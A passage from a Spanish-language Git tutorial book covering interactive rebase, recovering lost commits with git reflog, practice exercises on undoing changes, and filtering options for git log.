</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rebase_onto_4-1.png" class="kg-image" alt="Using  on a single branch" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">rebase --onto</code> on a single branch</figcaption></figure><p>Esto resulta en la siguiente pantalla:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_4-1.png" class="kg-image" alt="Interactive rebase" width="600" height="400" loading="lazy"><figcaption>Interactive rebase</figcaption></figure><p>Así que, ¿qué haría? Quiero poner a "Commit 19" antes de "Commit 18", así viene justo después de "Commit 17". Puedo ir más lejos y hacerles <code>squash</code> ("aplastarlos", de manera figurativa), así:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_5-1.png" class="kg-image" alt="Interactive rebase - changing the order of commit and squashing" width="600" height="400" loading="lazy"><figcaption>Interactive rebase - changing the order of commit and squashing</figcaption></figure><p>Ahora cuando recibo una pantalla para escribir un mensaje de confirmación, puedo proveer el mensaje "Commit 17+19":</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/interactive_rebase_6-1.png" class="kg-image" alt="Providing a commit message" width="600" height="400" loading="lazy"><figcaption>Providing a commit message</figcaption></figure><p>Y ahora, vemos nuestro precioso historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rebase_onto_5-1.png" class="kg-image" alt="The resulting history" width="600" height="400" loading="lazy"><figcaption>The resulting history</figcaption></figure><p>La sintaxis usada arriba, <code>git rebase --interactive --onto &lt;COMMIT X&gt; &lt;COMMIT X&gt;</code> sería la sintaxis más usada comúnmente por aquellos que usan <code>rebase</code> regularmente. La manera de pensar que estos desarrolladores usualmente tienen es crear confirmaciones atómicas mientras trabajan, todo el tiempo, sin asustarse de cambiarlos luego. Entonces, antes de hacer <code>push</code> de sus cambios, harían <code>rebase</code> a todo el conjunto de cambios desde el último <code>push</code>, y re-arreglarlo así el historial se vuelve coherente.</p><h3 id="git-reflog"><code>git reflog</code></h3><p>Es tiempo de considerar un caso más alarmante.</p><p>Vuelve al "Commit 2.4":</p><pre><code class="language-bash">git reset --hard &lt;SHA_OF_COMMIT_2_4&gt;
</code></pre><p>Haz algo, escribe algo de código, y agrégalo a <code>love.txt</code>. Pónlo en el área de preparación a este cambio, y confírmalo:</p><pre><code class="language-bash">echo lots of work &gt;&gt; love.txt
git add love.txt
git commit -m "Commit 3.2"
</code></pre><p>(Estoy usando "Commit 3.2" para indicar que este no es la misma confirmación que "Commit 3" que usamos cuando explicamos sobre <code>git revert</code>.)</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reflog_commit_3-1.png" class="kg-image" alt="Another commit" width="600" height="400" loading="lazy"><figcaption>Another commit - "Commit 3.2"</figcaption></figure><p>Hice lo mismo en mi máquina, y usé la tecla flecha arriba <code>Up</code> en mi teclado para volver a los comandos anteriores, y luego presioné <code>Enter</code>, y... Wow.</p><p>Whoops.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reflog_commit_3_reset.png" class="kg-image" alt="Did I just ?" width="600" height="400" loading="lazy"><figcaption>Did I just <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset -- hard</code>?</figcaption></figure><p>¿Acaso usé <code>git reset --hard</code>? 😨</p><p>¿Pero qué pasó en realidad? Como aprendiste en el capítulo previo, Git movió el puntero a <code>HEAD~1</code>, de esa forma la última confirmación, con todo mi trabajo precioso, no es alcanzable desde el historial actual. Git también quitó todos los cambios desde el área de preparación, y luego hice coincidir el directorio de trabajo con el del estado del área de preparación.</p><p>Eso es, todo coincide con este estado donde mi trabajo... se ha ido.</p><p>Momento de terror. Me voy asustando.</p><p>Pero, realmente, ¿hay una razón para asustarse? No realmente... Somos personas relajadas. ¿Qué hacemos? Bueno, intuitivamente, ¿realmente, realmente se ha ido la última confirmación?</p><p>No. ¿Y por qué no? Todavía existe dentro de la base de datos interno de Git.</p><p>Si tan solo supiera dónde está, sabría el valor <code>SHA-1</code> que identifica a esta confirmación, y podríamos restaurarlo. Inclusive podría deshacer lo deshecho, y hacer <code>reset</code> y volver a esta confirmación.</p><p>En realidad, lo único que realmente necesito aquí es el <code>SHA-1</code> de la confirmación "eliminada".</p><p>Ahora la pregunta es, ¿cómo lo encuentro? ¿<code>git log</code> sería útil?</p><p>Bueno, no realmente. <code>git log</code> iría al <code>HEAD</code>, el cual apunta a <code>main</code>, el cual apunta a la confirmación antecesora de la confirmación que estamos buscando. Luego, <code>git log</code> recorrería a través de la cadena de antecesores, el cual no incluye la confirmación con mi trabajo precioso.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reflog_git_log.png" class="kg-image" alt=" doesn't help in this case" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code> doesn't help in this case</figcaption></figure><p>Afortunadamente, los genios que crearon Git también crearon un plan de recuperación para nosotros, y se llama el <code>reflog</code>.</p><p>Mientras trabajas con Git, cuando sea que cambies el <code>HEAD</code>, lo cual lo puedes hacer usando <code>git reset</code>, pero también con otros comandos como <code>git switch</code> o <code>git checkout</code>, Git agrega una entrada al <code>reflog</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reflog.png" class="kg-image" alt=" shows us where  was" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reflog</code> shows us where <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code> was</figcaption></figure><p>¡Encontramos nuestra confirmación! Es el que comienza con <code>0fb929e</code>.</p><p>También podemos relacionarlo por su "nickname" - <code>HEAD@{1}</code>. De forma similar Git usa al <code>HEAD~1</code> para obtener el primer antecesor de <code>HEAD</code>, y <code>HEAD~2</code> para que se refiera al segundo antecesor de <code>HEAD</code>, y así sucesivamente, Git usa <code>HEAD@{1}</code> para referirse al primer <em>reflog</em> antecesor de <code>HEAD</code>, eso es, a donde apuntaba <code>HEAD</code> en el paso anterior.</p><p>También podemos pedirle a <code>git rev-parse</code> que nos muestre su valor:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reflog_revparse.png" class="kg-image" alt="Using " width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git rev-parse HEAD@{1}</code></figcaption></figure><p>Nota: En caso que estés usando Windows, podrías necesitar envolverlo con comillas - así:</p><pre><code class="language-bash">git rev-parse "HEAD@{1}"
</code></pre><p>Otra forma de ver el <code>reflog</code> es usando <code>git log -g</code>, el cual le pide a <code>git log</code> que considere el <code>reflog</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_g.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log -g</code></figcaption></figure><p>Puedes ver en la salida de <code>git log -g</code> que la entrada de <code>reflogHEAD@{0}</code>, justo como el <code>HEAD</code>, apunta a <code>main</code>, el cual apunta a "Commit 2". Pero el antecesor de esa entrada en el <code>reflog</code> apunta a "Commit 3".</p><p>Así que para volver a "Commit 3", puedes usar <code>git reset --hard HEAD@{1}</code> (o el valor <code>SHA-1</code> de "Commit 3"):</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reflog_reset.png" class="kg-image" alt="git_reflog_reset" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --hard HEAD@{1}</code></figcaption></figure><p>Y ahora, si haces <code>git log</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_2.png" class="kg-image" alt="Our history is back!!!" width="600" height="400" loading="lazy"><figcaption>Our history is back!!!</figcaption></figure><p>¡Nos salvamos!</p><p>¿Qué sucedería si usara este comando nuevamente? ¿Y ejecutara <code>git reset --hard HEAD@{1}</code>?</p><p>Git pondría al <code>HEAD</code> a dónde <code>HEAD</code> estaba apuntando antes del último <code>reset</code>, lo que significa a "Commit 2". Podemos continuar todo el día:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_reset_again.png" class="kg-image" alt=" again" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --hard</code> again</figcaption></figure><h3 id="recapitulaci-n-herramientas-adicionales-para-deshacer-cambios">Recapitulación - Herramientas adicionales para Deshacer Cambios</h3><p>En el capítulo anterior, aprendiste cómo usar <code>git reset</code> para deshacer cambios.</p><p>En este capítulo, agrandaste tu caja de herramientas para deshacer cambios en Git con algunos comandos nuevos:</p><ul><li><code>git commit --ammend</code> - el cual "sobreescribe" la última confirmación con el área de preparación del índice. Mayoritariamente útil cuando confirmaste algo y quieres modificar la última confirmación.</li><li><code>git revert</code> - el cual crea una nueva confirmación, que revierte una confirmación anterior agregando una nueva confirmación al historial con los cambios revertidos. Especialmente útil cuando la confirmación "defectuosa" ya ha sido subida al remoto.</li><li><code>git rebase</code> - el cual ya los conocías desde el <a href="#cap-8">capítulo 8</a>, y es útil para reescribir el historial de confirmaciones múltiples, especialmente antes de empujarlos.</li><li><code>git reflog</code> (y <code>git log -g</code>) - el cual rastrea todos los cambios hasta el <code>HEAD</code>, así puedes encontrar el valor SHA-1 de una confirmación al que necesitas volver.</li></ul><p>La herramienta más importante, inclusive más importante que las herramientas que listé, es limpiar la situación actual vs el desado. Créeme en esta, hará que cada situación parezca menos intimidante y la solución más clara.</p><p>Hay herramientas adicionales que te permiten revertir cambios en Git (proveeré enlaces en el <a href="#apendices">apéndice</a>), pero la colección de herramientas que cubrí aquí debería prepararte para abarcar cualquier desafío con confianza.</p><!--kg-card-begin: html--><h2 id="cap-11">Capítulo 11 - Ejercicios</h2><!--kg-card-end: html--><p>Este capítulo incluye algunos ejercicios para profundizar tus conocimientos de las herramientas que aprendiste en la Parte 3. La versión completa de este libro también incluye soluciones detalladas de cada una.</p><p>Los ejercicios se encuentran en este repositorio:</p><p><a href="https://github.com/Omerr/undo-exercises.git">https://github.com/Omerr/undo-exercises.git</a></p><p>Cada ejercicio está en una rama con el nombre <code>exercise_XX</code>, así que el Ejercicio 1 se encuentra en la rama <code>exercise_01</code>, el Ejercicio 2 se encuentra en la rama <code>exercise_02</code> y así sucesivamente.</p><p><strong>Nota</strong>: como se explicó en los capítulos previos, si trabajas con confirmaciones que pueden ser encontradas en un servidor remoto (los cuales son en la que estás en este caso, ya que estás usando mi repositorio "undo-exercises"), deberías probablemente usar <code>git revert</code> en vez de <code>git reset</code>. De la misma forma con <code>git rebase</code>, el comando <code>git reset</code> también reescribe el historial - y así te refrenas de usarlo en las confirmaciones en las que otros podían basarse.</p><p>Para los propósitos de estos ejercicios, puedes asumir que nadie ha clonado o haya descargado (pull) el código del repositorio remoto. Sólo recuerda - en la vida real, probablemente deberías usar <code>git revert</code> en vez de comandos que reescriben el historial en tales casos.</p><h3 id="ejercicio-1">Ejercicio 1</h3><p>En la rama <code>execise_01</code>, considera el archivo <code>hello.txt</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/ex_01_1.png" class="kg-image" alt="The file " width="600" height="400" loading="lazy"><figcaption>The file <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">hello.txt</code></figcaption></figure><p>Este archivo incluye un error de tipado (en el último caracter). Encuentra la confirmación que introdujo este error de tipado.</p><h4 id="ejercicio-1a-">Ejercicio (1a)</h4><p>Quita esta confirmación del historial alcanzable usando <code>git reset</code> (con los argumentos correctos), arregla el error de tipado, y confirma nuevamente. Considera tu historial.</p><p>Revierte al estado previo.</p><h4 id="ejercicio-1b-">Ejercicio (1b)</h4><p>Quita la confirmación defectuosa usando <code>git commit --ammend</code>, y vuelve al mismo estado del historial como al final del ejercicio (1a).</p><p>Revierte al estado previo.</p><h4 id="ejercicio-1c-">Ejercicio (1c)</h4><p>Haz <code>revert</code> de la confirmación defectuosa usando <code>git revert</code> y arregla el error de tipado. Considera tu historial.</p><p>Revierte al estado previo.</p><h4 id="ejercicio-1d-">Ejercicio (1d)</h4><p>Usando <code>git rebase</code>, vuelve al misma estado como al final del ejercicio (1a).</p><h3 id="ejercicio-2">Ejercicio 2</h3><p>Cambia a la rama <code>exercise_02</code>, y considera los contenidos de <code>exercise_02.txt</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/ex_02_1.png" class="kg-image" alt="The contents of " width="600" height="400" loading="lazy"><figcaption>The contents of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">exercise_02.txt</code></figcaption></figure><p>Un archivo sencillo, con un caracter en cada línea.</p><p>Considera el historial (usando <code>git lol</code>):</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/ex_02_2.png" class="kg-image" alt="ex_02_2" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git lol</code></figcaption></figure><p>Oh mi. Cada caracter fue introducido en una confirmación separada. ¡Eso no tiene sentido!</p><p>Usa las herramientas que has adquirido para crear un historial donde la creación de <code>exercise_02.txt</code> está hecho en una sola confirmación.</p><h3 id="ejercicio-3">Ejercicio 3</h3><p>Considera el historial en la rama <code>exercise_03</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/ex_03_1.png" class="kg-image" alt="The history on " width="600" height="400" loading="lazy"><figcaption>The history on <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">exercise_03</code></figcaption></figure><p>Esto parece un desastre. Notarás que:</p><ul><li>El orden está sesgado. Necesitamos que "Commit 1" sea la primera confirmación en esta rama, y tenga a "Initial Commit" como su antecesor, seguido de "Commit 2" y así sucesivamente.</li><li>No deberíamos tener "Commit 2a" y "Commit 2b", o "Commit 4a" y "Commit 4b" - estos dos pares necesitan ser combinados en una sola confirmación cada uno - "Commit 2" y "Commit 4".</li><li>Hay un error de tipado en el mensaje de confirmación de "Commit 1", no debería tener 3 <code>m</code>.</li></ul><p>Arregla estos errores, pero básate en los cambios de cada confirmación original. El historial resultante debería lucir así:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/ex_03_2.png" class="kg-image" alt="The desired history" width="600" height="400" loading="lazy"><figcaption>The desired history</figcaption></figure><h3 id="ejercicio-4">Ejercicio 4</h3><p>Este ejercicio en realidad consiste de tres ramas: <code>exercise_04</code>, <code>exercise_04_a</code>, y <code>exercise_04_b</code>.</p><p>Para ver el historial de estas ramas sin las otras, usa la siguiente sintaxis:</p><pre><code class="language-bash">git lol --branches="exercise_04*"
</code></pre><p>El resultado es:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/ex_04_1.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git lol --branches="exercise_04*"</code></figcaption></figure><p>Tu objetivo es hacer que <code>exercise_04_b</code> sea independiente de <code>exercise_04_a</code>. Eso es, obtener este historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/ex_04_2.png" class="kg-image" alt="The desired history" width="600" height="400" loading="lazy"><figcaption>The desired history</figcaption></figure><p><strong>¡Buena suerte!</strong></p><!--kg-card-begin: html--><h1 id="part-4">Parte 4 - Herramientas de Git Fantásticas y Útiles</h1><!--kg-card-end: html--><p>Git tiene un montón de comandos, y estos comandos tienen muchísimas opciones y argumentos. Podría intentar cubrirlos todos (aunque cambian con el tiempo), pero no veo el punto en ello. Probablemente deberías conocer un sub-conjunto de estos comandos realmente bien, aquellos que usas regularmente. Luego, siempre puedes buscar por un comando específico para realizar una tarea a mano.</p><p>Esta parte se basa en las bases que adquiriste en las partes previas, y cubre comandos específicos y opciones que podrías encontrar útiles. Dado tu entendimiento de cómo funciona Git, tener estas pequeñas herramientas puede hacerte un verdadero pro para llevar a Git a cabo.</p><!--kg-card-begin: html--><h2 id="cap-12">Capítulo 12 - Git Log</h2><!--kg-card-end: html--><p>Usaste <code>git log</code> muchas veces a lo largo de los distintos capítulos, y probablemente lo has usado muchas veces antes de leer este libro.</p><p>La mayoría de los desarrolladores usan <code>git log</code>, pocos lo usan de forma efectiva. En este capítulo aprenderás ajustes útiles para sacar el mayor provecho a <code>git log</code>. Una vez que te sientas cómodo con los diferentes conmutadores de este comando, será un verdadero cambio en tu día a día trabajando con Git.</p><p>Pensando en ello, <code>git log</code> abarca la esencia de cada versión del sistema de control - es decir, para registrar cambios en las versiones. Registras versiones de esa forma puedes considerar el historial de tu proyecto - tal vez revertir o aplicar cambios específicos, preferir cambiar a un punto distinto en el tiempo y probar las cosas allí. Tal vez te gustaría saber quién contribuyó una cierta pieza de código o cuando lo hicieron.</p><p>Mientras que <code>git</code> sí preserva esta información usando objetos de confirmación, eso también apunta a sus confirmaciones antecesoras, y referencias a objetos de confirmación (tales como ramas o <code>HEAD</code>), este almacenamiento de versiones no es suficiente. Sin ser capaz de encontrar la confirmación relevante que te gustaría considerar, o reunir información relevante sobre ello, tener estos datos almacenados es bastante inútil.</p><p>Puedes imaginarte a tus objetos de confirmación como distintos libros que se apilan en un pila gigante, o en una biblioteca, llenando largos estantes. La información que podrías necesitar está en estos libros, pero si no tienes un índice - una forma para saber en qué libro yace la información que buscas, o dónde este libro se localiza dentro de la biblioteca - no serías capaz de hacer uso de él. <code>git log</code> es esta indexación de tu biblioteca - es una forma de encontrar las confirmaciones relevantes y la información sobre ellos.</p><p>Los argumentos útiles para <code>git log</code> que aprenderás en este capítulo dan formato en cómo se muestran las confirmaciones en el log, o filtran confirmaciones específicas.</p><p><code>git lol</code>, un alias que he usado a lo largo de este libro, usa algunos de estos conmutadores, como lo demostraré. Siéntete libre de ajustar este alias (o crea otro desde cero) después de leer este capítulo.</p><p>Como en otros capítulos, el objetivo no es proveer una referencia completa, por lo tanto no proveeré <em>todos</em> los diferentes conmutadores de <code>git lol</code>. Me enfocaré en los conmutadores que creo que los encontrarás útiles.</p><h3 id="filtrando-comandos">Filtrando comandos</h3><p>Considera la salida predeterminada de <code>git log</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_1.png" class="kg-image" alt="The output of  without additional switches" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log</code> without additional switches</figcaption></figure><p>El log comienza desde el <code>HEAD</code>, y sigue la cadena de antecesores.</p><h4 id="las-confirmaciones-no-alcanzables-desde-">Las Confirmaciones (no) alcanzables desde...</h4><p>Cuando escribes <code>git log &lt;revision&gt;</code>, <code>git log</code> incluirá todas las entradas accesibles desde <code>&lt;revision&gt;</code>. Con "accesible", me refiero accesible al seguir la cadena de antecesores. Así que ejecutando <code>git log</code> sin argumentos es lo mismo que ejecutar <code>git log HEAD</code>.</p><p>Puedes especificar múltiples revisiones para <code>git log</code>- si escribes <code>git log branch_1 branch_2</code>, le pides a <code>git log</code> que incluya cada confirmación que es alcanzable desde <code>branch_1</code> o <code>branch_2</code> (o ambos).</p><p><code>git log</code><strong> excluirá</strong> cualquier confirmación que sea alcanzable desde las revisiones precedidos por un <code>^</code>.</p><p>Por ejemplo, el siguiente comando:</p><pre><code class="language-bash">git log branch_1 ^branch_2
</code></pre><p>le pide a <code>git log</code> que incluya cada confirmación que es accesible desde <code>branch_1</code>, pero no aquellos que son accesibles desde <code>branch_2</code>.</p><p>Considera el historial cuando uso <code>git log feature_branch_2</code> en este repo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_2-1.png" class="kg-image" alt="git_log_2-1" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log feature_branch_1</code></figcaption></figure><p>El historial incluye todas las confirmaciones accesibles por <code>feature_branch_1</code>. Ya que esta rama "se creó" desde <code>main</code> (eso es, "Commit 12", al que apunta <code>main</code>, es accesible desde la cadena de antecesores) - el log también incluye todas las confirmaciones accesibles desde <code>main</code>.</p><p>¿Qué sucedería si ejecutara este comando?</p><pre><code class="language-bash">git log feature_branch_1 ^main
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_3.png" class="kg-image" alt="git_log_3" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log feature_branch_1 ^main</code></figcaption></figure><p>En efecto, <code>git log</code> muestra sólo "Commit 13" y "Commit 16", los cuales son accesibles desde <code>feature_branch_1</code> pero no desde <code>main</code>.</p><h4 id="git-log-all"><strong><code>git log --all</code></strong></h4><p>Para seguir las confirmaciones que son accesibles desde cualquier referencia nombrada o (cualquier ref en <code>refs/</code>) o desde el <code>HEAD</code>.</p><h4 id="por-autor">Por Autor</h4><p>Si sabes que estás buscando una confirmación que tiene una persona específica como autor, puedes filtrar estas confirmaciones usando el nombre del usuario o su email, así:</p><pre><code class="language-bash">git log --author="Name"
</code></pre><p>Puedes usar expresiones regulares para buscar los nombres de los autores que coinciden con un patrón específico, por ejemplo:</p><pre><code class="language-bash">git log --author="John\|Jane"
</code></pre><p>filtrará las confirmaciones cuyo autor es John o Jane.</p><h4 id="por-fecha">Por Fecha</h4><p>Cuando sabes que el cambio que estás buscando ha sido confirmado dentro de una fracción de tiempo específico, puedes usar <code>--before</code> o <code>--after</code> para filtrar las confirmaciones desde esa fracción de tiempo.</p><p>Por ejemplo, para obtener todas las confirmaciones introducidos después del 12 de Abril de 2023 (inclusivo), usa:</p><pre><code class="language-bash">git log --after="2023-04-12"
</code></pre><h4 id="por-rutas">Por Rutas</h4><p>Puedes pedir a <code>git log</code> que sólo muestre las confirmaciones donde los <em>cambios</em> han sido introducidos en rutas específicas. Fíjate que no significa que cualquier confirmación que apunte a un árbol que incluya los archivos en cuestión, sino más bien que si calculamos la diferencia entre la confirmación en cuestión y sus antecesores, veríamos que al menos uno de las rutas ha sido modificado.</p><p>Por ejemplo, puedes usar:</p><pre><code class="language-bash">git log --all -- 1.py
</code></pre><p>para encontrar todas las confirmaciones que son accesibles desde cualquier puntero nombrado, o <code>HEAD</code>, e introducir un cambio a <code>1.py</code>. Puedes especificar múltiples rutas:</p><pre><code class="language-bash">git log --all -- 1.py 2.py
</code></pre><p>El comando previo hará que <code>git log</code> incluya confirmaciones accesibles que introdujeron un cambio a <code>1.py</code> o <code>2.py</code> (o ambos).</p><p>También puedes usar un patrón glob, por ejemplo:</p><pre><code class="language-bash">git log -- *.py
</code></pre><p>incluirá las confirmaciones que son accesibles desde el <code>HEAD</code> que incluye un cambio a cualquier archivo en el directorio raíz cuyo nombre termina con un <code>.py</code>. Para buscar un archivo que termine con <code>.py</code>, puedes usar:</p><pre><code class="language-bash">git log -- **/*.py
</code></pre><h4 id="por-mensaje-de-confirmaci-n">Por Mensaje de Confirmación</h4><p>Si conoces el mensaje de confirmación (o partes de él) de la confirmación que estás buscando, puedes usar el conmutador <code>--grep</code> para "git log", por ejemplo:</p><pre><code class="language-bash">git log --grep="Commit 12"
